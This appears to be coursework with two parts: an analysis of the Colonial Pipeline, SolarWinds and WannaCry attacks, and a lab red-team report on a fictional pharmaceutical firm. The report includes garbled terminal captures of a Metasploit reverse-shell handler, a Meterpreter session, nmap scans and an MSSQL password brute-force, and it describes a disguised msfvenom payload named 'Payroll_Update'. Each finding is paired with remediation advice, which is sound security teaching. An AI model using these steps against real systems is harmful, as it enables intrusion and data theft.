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[bookmark: _Toc197265712]Task One

Critical analysis of cyber security attacks taking place against businesses:

Colonial Pipeline – 2021
Solar Winds – 2020
WannaCry Ransomware - 2017


[bookmark: _Toc196317242][bookmark: _Toc197265713]Introduction
With the ever increasing rise of cyber-related attacks on businesses and enterprises around the world, coupled with the complexity and sophistication of the attack vectors, it is vitally important businesses are able to identify, protect, detect, respond and recover [1] from cyberattacks if they wish to continue to safely operate in today’s evolving threat landscape. Many instances of cyberattacks are specifically targeted towards businesses, attempting to extract or extort; however, often organisations can be the victim of attacks through supply chain, or by simply being connected via the same affected Network. Effectively, every business operating with an online presence is a potential victim of a cyberattack [2].  This paper will outline three significant cyberattacks and will reflect on the appropriate countermeasures which could have been considered to mitigate against, or at the very least reduce the attack surface of the threat and result of the attacks.

[bookmark: _Toc196317243][bookmark: _Toc197265714]The Colonial Pipeline Ransomware Attack (2021)
“The largest publicly disclosed cyberattack against critical infrastructure in the country” [3] occurring in the USA in May 2021 was attributed to Russian hacking group ‘DarkSide’. Leveraging compromised VPN credentials from a dormant administrator account which didn’t include multifactor authentication controls, the group were able to infiltrate and remain undetected in the network. They encrypted vital data leading to a ransom of $4.4 million being paid as well as costing Colonial a near $1 million civil penalty [4]. The apparent apathy towards adequate defence in depth highlights concerns regarding the vulnerabilities with Critical Infrastructure (CI). Whilst groups like Dark Side claim to stipulate rules to would-be affiliates specifically regarding who not to attack [5], there is no guarantee that these rules are followed or that non-intended targets become collateral regardless. Organisations need to consider additional measures to ensure their attack surface is suitably reduced.
[bookmark: _Toc196317244][bookmark: _Toc197265715]Countermeasures
Whilst the extent of Colonial’s effective defences isn’t known, the attack vector leading to the successful intrusion should have been easy to prevent. Well-known, well-taught practices such as multifactor authentication (MFA) and access control would likely have vastly improved security in the case of Colonial. Owing to the criticality of the network and information contained within, it would have been a clear fix to implement policy where dormant accounts are deactivated and MFA applied throughout the entire user base (or at the very least admin accounts). Saqib et al [6] take this consideration one step further, claiming that all three of the principles of MFA (what you know, what you have and what you are) should be applied based on the specific level of security required by significant resource. 
Whilst not specifically a countermeasure, work is constantly being conducted by security researchers to create decryption tools which can reverse ransomware file encryption without the victims having to pay a ransom. Colonial may have been afforded an opportunity to reverse the effects of the attack quietly and seek to remediate sooner with less media attention, were it not for cybersecurity software producer Bitdefender [7]. The company publicised efforts to thwart the encryption standards used by the organised crime outfit, allowing them to adapt the keys used and update their methods. Colonial was hacked shortly afterwards. The reliance on the decryption of ransomware post-event isn’t one for organisations to factor into their incident response plans, but the handling of the matter by Bitdefender only highlights how cyber criminals are generally many steps ahead of security teams. 
Whilst the fallout from the incident has been extensively documented, critics argue that the focus is too much on the “what” as opposed to the “how” or “why”, and as such suitable steps aren’t being taken to ensure repeat occurrences are avoided. In article “Analyzing Reporting on Ransomware Incidents: A Case Study”, Greubel et al. [8] claim the majority of ransomware-related incidents they researched would focus on the outcome and impact of any attack, failing to consider both how the attack was manifested as well as suitable countermeasures. There is an inherent lack of consideration for attack vectors potentially due to the public’s failure to understand such ‘technical’ matters as ransomware. The focus is evidently on the worst case and the potential that statistics denote one in two businesses were or are likely to be the victim of cyber-attacks [9] means attempting to understand them could be deemed wasted effort. 

[bookmark: _Toc196317245][bookmark: _Toc197265716]SolarWinds Supply Chain Attack (2020)
When US cybersecurity firm FireEye announced it had been the victim of a hack in late 2020, it quickly attributed the attack vector to that of a third-party provider [10]. SolarWinds was responsible for the provision of network monitoring software and was believed to have been the victim of an attack as early as October 2019. Whilst the attack was attributed to Russian Advanced Persistent Threat (APT) “Cozy Bear” the breach highlighted the security concerns not necessarily of secondary affected companies but rather that of a trusted vendor who was deploying infected updates to trusted software. Supply chain management principles were being scrutinised, with many organisations now needing to secure themselves against known, trusted providers. The incident also raises the question, who is at fault for the attacks on the estimated 18,000 affected companies: [10] Cozy Bear, or SolarWinds? There are clearly two different types of victims in this instance, but there are also possibly two different threat actors.
[bookmark: _Toc196317246][bookmark: _Toc197265717]Countermeasures
The biggest risk area the SolarWinds incident highlights is the lack of suitable or meaningful supply chain controls, specifically for SolarWinds customers. Whilst SolarWinds themselves should have employed suitable controls to mitigate against the attack in the first instance, the incident raises considerations needed regarding supply chain risk management. Initial access is considered to have been obtained by “password guessing, password spraying, and exploiting inappropriately secured administrative credentials via remote services” [11] making part of the attack a social engineering consideration. This consideration, according to Carnovale & Yeniyurt [12] needs to extend to the supply chain also, claiming that humans are predominantly the main targets of cyberattacks, and organisations now need to consider not just the technical, but human aspect of supply chain risk mitigation. Waters [13] takes this a step further by stating that whilst an apparently simplistic notion, the idea of all members of a team working together to mitigate against the threat of attacks in the supply chain is unrealised, showing more needs to be done.
There were apparent layers of attack vectors leading to the hack on SolarWinds to perpetuate the deployment of malware to customers, leading to the belief the attack was conducted by particularly skilled operatives [14]. The appeal of SolarWinds being targeted was likely due to their publicised supporting of US national infrastructure, such as communications, the military and the Office of the President of the United States. Whilst the exact point of entry is unclear, it is likely that a sophisticated social engineering campaign to gain “prolonged access” led to leveraging vulnerabilities in the authentication and email servers [15]. Due to the sophistication of the attack, with those responsible taking extra steps to remove any trace of evidence of their success, it is an extremely difficult task to ensure complete protection from APT’s. Wen et al. [16] attempt to model an effective defence against the threat of APT’s but claim there are “many relevant problems to be solved” with considerations given to cost of controls vs expected loss factored into considerations. They conclude that,
“In practice, the implementation of a recommended defense strategy needs a great effort; the security level of all the systems in an organization must be labeled accurately, the defense budget must be made, and the robustness of the defense strategy must be evaluated.”
Lazarovitz backs this approach [14], stating that “Securing an organisation and its supply chain is a unique challenge.” He claims companies need to ensure they evaluate their high value, high target assets and continue with best practice cyber hygiene, such as enforcing least privilege and maintaining consistency. For lower-level activity this might be sufficient for most businesses, but evidence points to a pattern of sophistication in APT’s that this approach may simply not be robust enough for. 

[bookmark: _Toc196317247][bookmark: _Toc197265718]WannaCry Ransomware (2017)
2017 saw one of the most impactful cyber-related attacks due to the number of victims it claimed, specifically in the United Kingdom, affecting the operations of the National Health Service (NHS), England. Best estimates put the cost of impact and remediation to the NHS alone at £92m, however the attack has also led to additional investment in security operations, such as a promised £150m new licensing agreement with supplier Microsoft [17].
WannaCry, the name for the strain of Ransomware, is a self-propagating virus which exploited vulnerabilities in Microsoft’s Server Message Block (SMB) protocol. The exploit was so effective in the number of targets that Microsoft even decided to patch its out-of-date Operating Systems (OS) Windows XP, Server 2003 and Server 2008 to ensure users had the most up-to-date security patches [18]. Approximately 200,000 machines across 150 countries were affected by the non-targeted exploit, each being asked to pay a fee of $300-$600 in BitCoin for the decryption keys [19]. 
By far the biggest factor in the success of Wannacry and likewise the failings of its victims, was in the lack of adequate patch management principles. Worse still, the National Security Agency (NSA) was aware of the vulnerability and even created the exploit tool known as “Eternal Blue” themselves [20]. Specifically targeting Windows software prior to Windows 10 and Server 2016, the responsible group (strongly believed to be part of the North Korean government group The Lazarus Group [21]) were looking to capitalise on the lack of adequate vendor patching policies conducted by various organisations and indiscriminately caused their worm-like virus attack against the vulnerable networks of companies around the world. Whilst these companies, such as the NHS, Nissan and FedEx weren’t directly targeted, they still had not secured adequate controls against the threat of such an attack, which may have manifested from any source. 

[bookmark: _Toc196317248][bookmark: _Toc197265719]Countermeasures
The apparent biggest failings in most organisations affected by the Wannacry virus were seemingly in the lack of robustness in the patching policy; however, there are many additional considerations. Researchers [22] have written of the importance of simple mitigation strategies such as backup and recovery, patching, network segmentation, access control policies and incident response plans, adherence to most of which would likely reduce the attack surface of most organisations, especially those affected by Wannacry. 
Many scholars and researchers are however moving to a more dynamic approach to mitigate the threat of ransomware. Leveraging machine learning and pattern-analysis, many claim it is the machines themselves that will keep them safe from realised ransomware attacks. Kumar et al. [23] state that a “Cloud-based Behavioural solution provider” might be the best way to ensure environments are secured against the threat of ransomware. Tang [24] takes this one step further by stating that machine learning and the forecasting of predictive events could indicate anticipated attacks. This will then allow for preventative steps to be taken before any threats emerge. The research suggests that a holistic approach is still required, considering both technological and human factors to be fully effective, in essence advocating for a “defence-in-depth” approach. However, the significance of the findings was the technological impact of the proactive strategies, in particular on the detection, response and recovery rates, as well as reduction in security breaches and importantly, financial savings. 
Whilst the benefits seem realised, Castro et al claim that there are also limitations to consider, such as the quality and quantity of the data available to learning algorithms, as well as the constantly evolving landscape of emerging cyber threats [25]. Notwithstanding, the mere fact that algorithms can perform checks quicker than human interaction likely means that a blend of approaches will benefit in the long run.
[bookmark: _Toc197265720]Collaborative Countermeasures
Finney [26] states that “Trust is a vulnerability” and claims that most companies do very little to protect the security on the inside of their perimeter, focusing more on stopping initial penetration. Whilst solutions such as firewalls and antivirus are tangible, zero trust is a concept which must be adopted specifically by organisations to fit the context of their requirements. Tsai & Shieh [27] state that zero trust is not a “one-size-fits-all” approach, and companies need to understand their business requirements and security culture thoroughly before finding an approach that suits their needs.
Diogenes and Ozkaya [28] state that the best way to secure an organisation is to think like a hacker and test for all vulnerabilities that exist. This approach, along with a defence-in-depth incorporating zero trust architecture, should then go a long way to better securing many company infrastructures. However, Yulianto et al [29] claim that red team exercising alone isn’t always enough, with many organisations failing to fully place themselves in the position of the attacker. They claim instead organisations should employ frameworks such as MITRE ATT&CK to enhance the vectors and better understand the extent of their weaknesses.


[bookmark: _Toc196317249][bookmark: _Toc197265721]Conclusion
Whilst all three examples gained a foothold and delivered their attacks very differently, a key takeaway is the apparent lack of zero trust architecture in their network infrastructures. 
Whilst it is unclear how seriously affected companies took their defence strategies, much of the attack surfaces would likely have been not only discovered but mitigated by implementing an attack and defend strategy. The importance of setting up red team (attacking) and blue team (defending) scenarios in large, information rich organisations is vital in understanding where weakness lies, and how to best defend against them. 
Companies will likely have an improved chance at bolstering their security by adopting the latest defence controls and strategies and will potentially save money in doing so. Whether it be the unpredictable nature of cyber events or the difficulties in ascertaining return on investment (ROI), [30] feelings of employee exhaustion with upskilling regarding the latest security risks and countermeasures, [31] or concerns that security patching will affect business operations [32] the apathy toward cybersecurity only makes it easier for the hackers. Although whilst certain companies decide not to adapt, neither will the hackers, and by implementing a dynamic approach to cybersecurity, companies may be able to keep the hackers at bay, at least for the time being.

[bookmark: _Toc196317250]





[bookmark: _Toc197265722]Task Two

Red Team Cyberattack simulation of Cureton Pharmaceutical Company

[bookmark: _Toc197265723]Introduction
This report presents the findings of technical security assessment of Cureton Pharmaceutical Company (CPC) from its own internal Cybersecurity Department. Permission to test has been sought from the CEO of CPC and authorisation granted, provided no live environments are adversely affected. The assessment was conducted between 01/04/2025 and 25/04/2025 inclusive. 
The system being assessed is the CPC internal network, with specific attention being given to areas of Research and Development (R&D). This is where the majority of CPCs research is stored and analysed for mass market production and retail. 
For operational continuity and ethical reasons, it was decided the testing environment would be a non-production environment [33], created to match that of the existing CPC production infrastructure. Any identified vulnerabilities in the non-production setup will be analysed and where appropriate remedied or highlighted in this report.  The findings presented will inform of relevant successful remediations to make in the production environment as well as advise of potential countermeasures for consideration.  

Overview
The assessment established that the security posture of the existing network requires significant and urgent action, specifically with regards the Database Server containing all research and development data, which is a critical risk.
The following table breaks down the issues identified by testing including severity of perceived risk.
	Component
	Critical
	High
	Medium
	Low
	Total

	Open Source Company Information
	0
	0
	1
	0
	1

	Network Information
	0
	0
	1
	0
	1

	Account Security
	1
	1
	0
	0
	2

	Data Exfiltration
	1
	0
	0
	0
	1

	Total
	2
	1
	2
	0
	5




[bookmark: _Toc197265724]Internal Network
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	Figure 1: Existing Infrastructure
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[bookmark: _Toc197265725]Acronyms
CEO – Chief Executive Officer
CPC - Cureton Pharmaceutical Company 
IDS – Intrusion Detection System
IP – Intellectual Property
IP (address) – Internet Protocol
MAC – Medium Access Control/Media Access Control
MFA – Multi-Factor Authentication
MSF – Metasploit Framework
MSSQL – Microsoft SQL Server
PII – Personally Identifiable Information
R&D – Research and Development
USP – Unique Selling Proposition


[bookmark: _Toc196317253][bookmark: _Toc197265726]Contingency Policy
1. Rules of Engagement Review and Confirmation:
· Scope: The scope of the activity will focus on all interconnected systems; however specific focus will be afforded to ‘Business critical’ R&D areas.
· Out-of-Scope Activities: As the company has decided to place its webserver in a demilitarized zone (DMZ) [34] this will be out of scope for this testing but may feature at a secondary testing phase. Also out of scope will be remote access as this is currently strictly prohibited in the company [35]. 
2. Emergency Stop Procedures:
· "Red Button" Mechanism: Should for any reason the assessment need to stop, reasoning will be recorded and presented as part of this document of findings.
· Triggers for Emergency Stop: Conditions under which the assessing team will proactively initiate a stop might include: 
· Discovery of critical vulnerabilities that could cause immediate and significant harm to the company’s objectives.
· Unintentional impact on production systems or critical business processes.
· Detection by real-world security monitoring outside the scope of the test.
· Post Emergency Stop: Should an emergency stop be required, non-production systems will be rolled back, and reporting will be conducted and documented. Any remediation to live systems will take precedence. 
3. Data Handling and Security During the Pentest:
· Secure Storage: Personal data will be stored on local drives taken from current Active Directory. This will be deleted from the non-production environment once testing is fully completed. No PII will be stored and test records will be created in the database.
4. Contact Information:
· Assessing Team Lead and Members: Should anyone require contact with the assessing Team, please contact Lead Assessor Chris Phillips in the first instance. 
5. Legal and Ethical Considerations:
· Confirmation of Legal Authority: Necessary legal permissions for the penetration test to be conducted have been suitably obtained.
[bookmark: _Toc196317254][bookmark: _Toc197265727]Penetration Testing Framework
Grey-Box Testing
The aim of assessment is to exploit both known and unknown vulnerabilities in the set-up of the company’s infrastructure. To achieve this there will be some known information to ensure a full range of potential vulnerabilities are captured, including those which may be exposed or designed by internal staff [36].It is also vital to ensure external attackers cannot breach the system with limited knowledge. The following tests will be conducted in the assessment. 
Reconnaissance and Enumeration
Since the company is public and much will be known about it, initial tests will be conducted against publicly known or sourced information about the company and its staff. This will be accomplished using search engines and social media sites.
Once information about the company is found, as well as using internally known information, foot printing and gathering the company’s information can be ascertained to see what services are potentially publicly exposed to an attacker. 
Detailed information about the company is to be ascertained prior to any attacks which will replicate an external attacker with no knowledge of company infrastructure. 
Vulnerability Assessment and Penetration testing
Specific vulnerability and penetration testing will take place once suitable information is known about the company infrastructure, as well as against known potential vulnerabilities internally. This testing will be in the form of:
· Password Cracking
· Network Access Attacks
· System Exploits
· Privilege Escalation
[bookmark: _Toc196317255][bookmark: _Toc197265728]Testing Tools
The following tools were used in the testing process: 
Oracle VirtualBox
Windows Server 2022
Kali Linux
Metasploit
Wireshark
Nmap/ZenMap
[bookmark: _Toc196317256]
[bookmark: _Toc197265729]Findings - Reconnaissance
	[bookmark: _Toc197265730]Reconnaissance – Open Source/Social Engineering

	Overall Risk - Medium
	Finding ID – CPC-01-01

	Impact – Medium
	Category – Vulnerability

	Exploitability - Medium
	Status – New

	
	



[bookmark: _Toc197265731]Description
Whilst undertaking open-source research into the company, there are pages available via the company website stating who staff members are as well as their roles. Continuing to further explore, the same staff have many social media profiles which continue to state their place of work as CPC as well as providing personal information. This information could be used by an external attacker in a social engineering campaign, such as phishing or spear phishing, USB dropping or making direct contact to target the member of staff specifically and gain a foothold into the company.
[image: ]
Figure 2: CPC website “About the Team”
Undertaking a search on a member of the team via several different social media sites leads to the following information:

	[image: ]
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	Figure 3: Helen Rowe LinkedIn Profile

	Figure 4: Helen Rowe Facebook Profile



Both the company providing detailed information on its staff as well as the staff verifying this via personal social media could lead to specific attacks against the company, leveraging this information to send crafted phishing emails, or directed phone calls. Passwords could be guessed at or memorable information potentially compromised. 

[bookmark: _Toc197265732]Recommendation
It is recommended that whilst staff are encouraged to promote the company via social media channels and also have their own personal accounts, efforts should be made to reduce the likelihood of attribution between the two. Personal accounts should not contain references to professional information and should be locked down to ensure limited visibility outside of permitted access. Likewise professional accounts should be under similar scrutiny and company policy should mandate acceptable use. 
· Specific policy updates regarding acceptable social media use for staff should be considered [37]. 
· Staff training and awareness sessions should be regularly held to ensure staff are aware of the risks posed. This could include internal phishing exercises to ensure staff know to spot phishing emails [38]. 


[bookmark: _Toc197265733]Findings - Enumeration
	[bookmark: _Toc197265734]Enumeration – Network Information

	Overall Risk - Medium
	Finding ID – CPC-02-01

	Impact – Medium
	Category – Vulnerability

	Exploitability – High
	Status – New

	
	



[bookmark: _Toc197265735]Description
Ascertaining the target IP range and specific terminal address, a network scan was ran using Zenmap to ascertain host details such as open ports and specific services. Findings confirmed:
The operating system used - Windows Server 2022 (Figure 5)
The MAC Address of the terminal – 08:00:27:16:A7:B1 (Figure 5)
Open ports – multiple including 1443, 5800, 3389  (Figure 5, Figure 6, Figure 7)
Terminal is running MSSQL Server 2022 (Figure 8)
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	Figure 5: OS Footprinting

	Figure 6: Service Version Footprinting
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	Figure 7: Open Port Footprinting

	Figure 8: Port 1433 Footprinting



Using these methods, once inside the network an attacker would be able to craft targeted attacks against specific operating systems and services to gain access to those services or use them to pivot to other services. The information provides a useful understanding of the network vulnerabilities for an attacker, specifically the open ports. In this case the exposure of port 1433 is of concern.

[bookmark: _Toc197265736]Recommendation
It is strongly recommended that open and exposed ports are closed if they do not require external exposure. Port 1433 is a critical contender for this remediation. Regular port scans should be run to ensure no unnecessary ports are allowed and remediation to close them should be conducted.
Correct Firewall configuration is also required to ensure only necessary traffic is allowed [39]. Blocking inbound or outbound access to required ports also regularly needs to be completed. 
Consideration should be given to implementation of an IDS to monitor against suspicious activity on ports and can provide real-time information to security teams to prevent unauthorised access.
Consider implementation of an IDS to monitor traffic and provide anomaly checking [40]. 
[bookmark: _Toc197265737]Findings - Penetration
	[bookmark: _Toc197265738]Penetration – Privilege Escalation

	Overall Risk - Critical
	Finding ID – CPC-03-01

	Impact – Critical
	Category – Misconfiguration

	Exploitability – High
	Status – New

	
	



[bookmark: _Toc197265739]Description
Whilst undertaking a review of account permissions it was established that several accounts were provided with Administration account access. Standard user “Helen Rowe” had been assigned admin access, meaning privilege escalation could potentially be possible. 
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	Figure 9: Administrator Access for standard user



Privilege escalation of the account was attempted during testing however testing ran out of time to establish successful implementation. It is believed however that with enough time and resource this could be successfully achieved by an external attacker as this would be an ideal access route to privileged access levels. This is particularly prudent due to established staff profiles available via open source and potential exploitation vectors.

[bookmark: _Toc197265740]Recommendation
An account audit is strongly recommended to ensure specific access control is implemented on all accounts. Failure to regularly undertake these checks may result in unauthorised access being granted and escalation of privilege to an attacker to gain higher levels of access to information systems as well as the ability to cover their tracks and remove traces of infiltration. 
Access Control lists should ideally be created to ensure staff only have access to the resources they require access to in the event of account hijacking so non-role specific resources cannot be accessed [41]. This should ideally first be captured in the form of policy.


[bookmark: _Toc197265741]Findings - Penetration
	[bookmark: _Toc197265742]Penetration –Security access controls

	Overall Risk – High
	Finding ID – CPC-03-02

	Impact – High
	Category – Misconfiguration

	Exploitability – High
	Status – New

	
	



[bookmark: _Toc197265743]Description
Additional to lack of access control it was also discovered that there was no appropriate password policy implementation on any accounts (including Administrator accounts) nor MFA implementation on accounts. 
[bookmark: _Toc197265744]Recommendation
A password policy is strongly recommended to ensure simple to crack, repeatable and weak passwords are not used. This is critical in terms of administrator access. Lists of easily guessed and previously known passwords are easily used against password hashes which can be extracted from systems by skilled attackers. As well as policy, staff training is required to emphasise the importance of complex passwords in accordance with best practice. 
It is recommended that MFA is implemented on all accounts, or at least at Administrator level [42]. This would ensure that non-legitimate access was better secured and that ‘standard users’ could not access or alter administrative functions, intentionally or otherwise. 


[bookmark: _Toc197265745]Findings - Penetration
	[bookmark: _Toc197265746]Penetration – Terminal access & Data Exfiltration

	Overall Risk - Critical
	Finding ID – CPC-04-01

	Impact – Critical
	Category – Exploit

	Exploitability – Critical
	Status – New

	
	



[bookmark: _Toc197265747]Description
[N.B. For the purposes of this testing, exact data classified as “Confidential” from the R&D department in relation to vaccine testing has not been replicated in the non-production environment due to data sensitivity controls. However the precise set-up and configuration of the Database server has been replicated but with ‘Test’ data.]
During this testing, information obtained from the reconnaissance and enumeration phases is used to connect to an admin terminal in the company using exploit tools to extract sensitive data, such as company secrets and IP. 
In order to simulate a payload delivery an executable file was crafted and deployed via msfvenom to a server – mimicking an email download, fake website visit or scattered usb upload. This was entitled “Payroll_Update” to make it more feasible for the end user to open.
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	Figure 10: msfvenom executable payload



For ease the file was hosted to a local server, however a real world scenario might have the file sent via email, malicious URL or dropped USB.
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	Figure 11: Server hosting malicious payload



Following this a listener exploit was set up to capture the information of any terminals connecting to the local server and downloading the file.
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	Figure 12: Reverse Listener exploit



The file was confirmed to be stored on the local server and was able to be downloaded to execute the payload. 
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	Figure 13: Local server hosting malicious file



With the connection successful an ipconfig command ascertained the IP address the msf console was connected to. This confirmed previous enumeration details such as accurate IP address and OS.
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	Figure 14: Successful Connection & Details

	Figure 15: ipconfig information



With this information an nmap scan was run against the known IP address to ascertain other IP’s as well as exploitable ports.
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	Figure 16: nmap ping and port scan



This again confirmed that port 1433 was open and appeared to show it was an MSSQL server. To obtain the relevant server information, an sV (version detection) scan was launched on the port.
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	Figure 17: nmap server version scan



With the provided information it was discernible that an open port allowed access to the MSSQL database where research findings were stored. In order to access the information contained another msfconsole exploit was initiated  to extract user names and passwords to gain access to data using known user list “unix_users.txt” and password list “rockyou.txt”.
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	Figure 18: msfconsole “unix_users.txt” exploit
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	Figure 19: msfconsole “rockyou.txt” exploit

	Figure 20: Password results



Here it was ascertained that the default admin username ‘sa’ had been left as the default to the MSSQL account and a basic password was also chosen. Next, the user information was supplied to log in to the server and obtain the data contained within.
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	Figure 21: msfconsole MSSQL exploit



The secret file and information contained within was able to be successfully exfiltrated following the exploit. This security vulnerability has a potential significant impact on the company’s ability to continue its operations securely. If IP such as secrets are able to be stolen then the USP of the company is at serious risk.
[bookmark: _Toc197265748]Recommendation
It is strongly recommended that urgent adequate security is enabled around the known exploit. Unauthorised access to information systems via open port 1433 leaves the company in a vulnerable state and susceptible to attack and IP theft or tampering. Inbound access to Port 1433 should be revoked immediately via adequate Firewall rules. Administrator account access should be changed to a unique identifier rather than default and the password changed to reflect stronger password principles as per policy. This should also include MFA where applicable. 
An additional consideration should be to segment the R&D network into its own separate logical area to allow for additional security controls and to enforce boundaries limiting unauthorised access [43]. 
Additionally, the company should consider a zero-trust [44] approach to its architecture, ensuring that access is sought and approved at every stage of the user journey throughout the network.

[bookmark: _Toc196317257]
[bookmark: _Toc196317259][bookmark: _Toc197265749]Analysis
The proposed remediation works can be achieved with relative simplicity, providing adequate policy is considered, in place and adhered to beforehand. Staff training sessions need to be initiated and repeated at regular intervals to ensure complete staff security awareness.
[bookmark: _Toc196317258][bookmark: _Toc197265750]Costings
(Costs will be considered at salary rate of £65,000 p/year)
Total Invoice of Assessment period: 19 days @ 8 hours p/day = £4750
Solution cost: (Evenings and weekend implementation to be considered to minimise operational disruption)
Monday – Friday: 5 days @ 8 hours p/day = £1250
Weekend Implementation: 2 days @ 8 hours p/day * 2 = £1000
Evening Implementation (post 5pm): 5 hours * 1.5 = £234.38
Anticipated implementation cost (based on evenings, weekends and plain time resolution) = £3421.90

Additional Consideration:
Intrusion Detection System = Approx cost £15,000 - £50,000 including implementation

Timetable
Owing to the criticality of some findings, work is suggested to be taken as soon as possible to ensure no data leakage occurs in real time. Recommendations are:
Week 1 – Days 1 and 2: Resolution of open ports and poor access management principles specific to R&D Database and accounts, including re-testing. 
Week 1 – Days 2 and 3: Account audit, ensuring all standard users have suitable account privilege and limit administrator account access is provided, including re-testing.
Week 1 – Days 4 and 5: Firewall review of company infrastructure, ensuring relevant ports are disabled if necessary and specific rules set up allowing authorised access only, including re-testing.
Week 2 – Implementation of MFA throughout the rest of the company. Consideration of implementation of IDS in the company. Implementation of “Zero-trust” architecture. 
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metasploit v6.4.50-dev

2495 exploits - 1283 auxiliary - 393 post
1607 payloads - 49 encoders - 13 nops

9 evasion

Metasploit Documentation:

https: //docs.metasploit.con/

msf6 > use multi/handler

[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit( /! il 1) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf6 exploit(ii « /100l c) > set LHOST 192.168.56.102

LHOST = 192.168.56.102

msf6 exploit(ii n0lo0) > set LPORT 44kk

LPORT = 444k

msf6 exploit(ii 1 iandion) > run

[+] Started reverse TCP handler on 192.168.56.102:4444
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[ 9 evasion

Metasploit Documentation: https://docs.metasploit.com/

nsf6 > use mutli/handler

No results from search

Failed to load module: mutli/handler

5f6 > use multi/handler

] Using configured payload generic/shell reverse tcp

msf6 exploit(i  o1l-1) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD = windows/meterpreter/reverse_tcp

msf6 exploit(i -00l-0) > set LHOST 192.168.56.102

LHOST = 192.168.56.1
msf6 exploit(i on0lo0) > set LPORT 44bh

LPORT = 4tk

msf6 exploit(nl 1/ andlor) > run

[+] Started reverse TCP handler on 192.168.56.102:4444

[+] Sending stage (177734 bytes) to 192.168.56.101

[+] Meterpreter session 1 opened (192.168.56.102:4444 — 192.168.56.101:49715) at 2025-04
14 08:26:19 -0400

—@

meterpreter > session -i 1
"1 Unknown command: session. Did you mean sessions? Run the help command for more detai

s
meterpreter > sessions —i 1
[*] session 1 is already interactive

meterpreter > sys)nFn

Computer. WIN-V3BINCATMIF
o0s Windows Server 2022 (10.0 Build 20348)
Architecture x64

System Language : en_US

Domain WORKGROUP

Logged On Users : 1

Meterpreter + x86/windows

neterpreter > Il
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[#] Meterpreter session 1 opened (192.168.56.102:4444 — 192.168.56.101:49715) at 2025-04
14 08:26:19 -0400

meterpreter > session -i 1
T~ Unknown command: session. Did you mean sessions? Run the help command for more detail
s

neterpreter > sessions -1 1

[#] Session 1 is already interactive.

petempiete: > sysinfo

Computer. WIN-V3BINCATMIF
o0s : Windows Server 2022 (10.0 Build 20348)
Architecture x64

System Language : en_US

Domain + WORKGROUP

Logged On Users : 1

Meterpreter x86/windous

meterpreter > ipconfig

Interface 1

Name Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
HTU : 4294967295

1pvi Address
1Pv4 Netmask : 255.0.0.0

1pv6 Address : 1

1Pv6 Netmask : FFFF:FFFF:FFFF:FEFFFFFFFFFFIFFFFIFFFF

127.0.0.1

Interface 10

Name. : Intel(R) PRO/1000 MT Desktop Adapter
Harduare MAC : 08:00:27:16:a7:b1

U 1500

IPvi Address : 192.168.56.101

IPvi Netmask : 255.255.255.0

TPv6 Address : feg0::7922:1f0:29e9:e6d3

PG Netmask : FFFF:FFFF:FFFF:FFFF:

neterpreter > If
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1§ nmap —sn 192.168.56.0/24

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-10 10:13 EDT

Nmap scan report for 192.168.56.1

Host is up (0.00032s latency).

MAC Address: 0A:00:27:00:00:05 (Unknown)

Nmap scan report for 192.168.56.100

Host is up (0.00016s latency).

MAC Address: 08:00:27:53:33:AE (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

Nmap scan report for 192.168.56.101

Host is up (0.00040s latency)

MAC Address: 08:00:27:16:A7:B1 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

Nmap scan report for 192.168.56.1
Host is up.

Nmap done: 256 I addresses (4 hosts up) scanned in 27.80 seconds

—(kali® kali)-[~]
$ nmap -p- 192.168.56.101

starting Nmap 7.95 ( https://nmap.org ) at 2025-04-10 10:14 EDT

Nmap scan report for 192.168,56.101

Host is up (0.000535 latency)

Not shown: 65533 filtered tcp ports (no-response)

PORT  STATE SERVICE

1433/tcp open ms-sql-s

5985/tcp open wsman

MAC Address: 08:00:27:16:A7:81 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

Nmap done: 1 IP address (1 host up) scanned in 215.97 seconds

lali®kali)-[~]
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MAC Address: 08:00:27:53:33:AE (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

Nmap scan report for 192.168.56.101

Host is up (0.00040s latency).

MAC Address: 08:00:27:16:A7:81 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

Nmap scan report for 192.168.56.102

Host is up.

Nmap done: 256 IP addresses (4 hosts up) scanned in 27.80 seconds

r—(kali® kali)-[~]

Lg nnap —p- 192.168.56.101

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-10 10:14 EDT
Nmap scan report for 192.168.56.101

Host is up (0.00053s latency).

Not shown: 65533 filtered tcp ports (no-response)
T

1433/tcp open ms-sql-s

5985/tcp open wsman

MAC Address: 08:00:27:16:A7:B1 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

Nmap done: 1 IP address (1 host up) scanned in 215.97 seconds

[(kali® kali)-[~]

-$ nmap -p 1433 -sV 192.168.56.101

starting Nmap 7.95 ( https://nmap.org ) at 2025-04-10 10:20 EDT
Nmap scan report for 192.168.56.101

Host is up (0.00052s latency).

PORT  STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000

MAC Address: 08:00:27:16:A7:81 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

Service detection performed. Please report any incorrect results at https:/
/nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.35 seconds

—(kali® kali)-[~]
Lsu
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awcdliary (e e 1) > e
02 168 50,101:1432 - Hef :0pt onVa1 JateError one or mare options failed to validate: USERLFILE
a6 suxiUaty( L) ser RAGSTS 192.168.56. 901

RiosTs = 192.168.56. 101

518 2Ry (1S L) > set USER_FILE /use/share/aetasplois-framenork/data/uordlists/unix_use
USERCFILE = /use/share/matasplot-franework/data/wordLists/unix_users.txt

B8 MUy e BASS FILE Juse/ahare/mordlists/rockyou. txt

BASS_FILE = Juse/share/mordl ats/rockyas. txt

B8 auxiUiary( ) Set STOP_OW SUCCESS true

B SURALIATYC- gl 10610) > set VERBOSE true

- 192.168.56.1017143 - NSSQL - Starting authentication scamner.
Mo active 08 - Cradential data will not bt saved!

1527168.56. 20171433~ LOGIN FATLED! WORSTATIOMg3: (incorrect: )
19211681561 101:1433 - LOGIN FAILED: MORKSTATIOM\sa: 123456 (Tacorrect: )
